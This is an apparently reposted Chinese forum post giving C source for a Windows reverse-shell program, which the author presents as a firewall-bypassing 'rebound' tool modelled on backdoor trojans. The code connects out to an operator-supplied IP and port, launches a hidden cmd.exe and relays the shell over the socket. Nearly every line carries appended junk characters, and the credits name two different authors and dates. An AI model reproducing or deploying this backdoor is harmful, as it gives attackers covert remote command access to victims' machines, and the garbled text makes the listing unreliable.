这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 <iky~iE
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/* ============================== 2fTuIS<yr
Rebound port in Windows NT dL$ iTSfz"
By wind,2006/7 ;z4J)qw
===============================*/ 8'*x88+
#include z,aMbgt
#include "SMJ:g",
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#pragma comment(lib,"wsock32.lib") bny5e:= d
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void OutputShell(); I;w!
SOCKET sClient; V[(fE=cIN~
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 'W(u.
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void main(int argc,char **argv) GURiW42
{ ~]-n%J$q
WSADATA stWsaData; M G$+Blw>
int nRet; U
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SOCKADDR_IN stSaiClient,stSaiServer; RB %+|@c
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if(argc != 3) +;~N; BT
{ "s0,9;
}
printf("Useage:\n\rRebound DestIP DestPort\n"); (vG*)a
return; 46g0
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} _8.TPB]no
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WSAStartup(MAKEWORD(2,2),&stWsaData); -yf8
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $BdwKk
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stSaiClient.sin_family = AF_INET; [\W&
stSaiClient.sin_port = htons(0); 4H6Fq*W{k
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); qKD
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `0qjaC
{ A1prYD
printf("Bind Socket Failed!\n"); s6~;)(r
return; }? _KZ)
} &b|RoPV
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stSaiServer.sin_family = AF_INET; x#`p.sfVo
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :xr^E]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7GO9z<m)
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) AJ}FHym_ZQ
{ v/ N[)<
printf("Connect Error!"); Ro]Z9C>1o
return; +KbkdYZ
} b,^ "-r
OutputShell(); 1L*[!QT4
}
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void OutputShell() }>6e-]MHfR
{ He=C\"
char szBuff[1024]; J:Fq i p
SECURITY_ATTRIBUTES stSecurityAttributes; Q2 !GWz$
OSVERSIONINFO stOsversionInfo; f5*qlQJFz\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZR\N~.
STARTUPINFO stStartupInfo; C7dq=(p&
char *szShell; Q#3}AO
PROCESS_INFORMATION stProcessInformation; @4y?XL(n
unsigned long lBytesRead; Aars\
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |J!mM<*K
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); h\[@J rDa
stSecurityAttributes.lpSecurityDescriptor = 0; `o{ Z;-OF
stSecurityAttributes.bInheritHandle = TRUE; -|FHv+
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]R""L<K%HF
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); P*!`AWn
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Hl}lxK,]
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :f[ w
stStartupInfo.wShowWindow = SW_HIDE; eE'P)^KV
stStartupInfo.hStdInput = hReadPipe; _O}m0c
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 2"G9?)d9
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GetVersionEx(&stOsversionInfo); r2SZC`Z}-M
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switch(stOsversionInfo.dwPlatformId) 2VY7?1Ab(@
{ :4zu.
case 1: }B'-*)^|e{
szShell = "command.com"; %/uLyCUZ
break; Kzn1ct{65!
default: Zp/+F(
szShell = "cmd.exe"; ]_(hUj._
break; Sesdhuy.@
} @.7/lRr@bp
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [p6:uNo
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send(sClient,szMsg,77,0); c?CD;Pk
while(1) Ypzmc$Xfu
{ wKpBH}
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Q$ew.h
if(lBytesRead) N~flao^
{ Xr
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^<!R%"o-
send(sClient,szBuff,lBytesRead,0); vCi`htm%
} zH~P-MqC
else MJiVFfYW
{ ntH`\ )xi
lBytesRead=recv(sClient,szBuff,1024,0); F2
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if(lBytesRead<=0) break; h|]cZMGo
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); OpaRQ=
} \H .Cmm^I
} [@9S-$Xa
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return; >s5}pkAv|e
}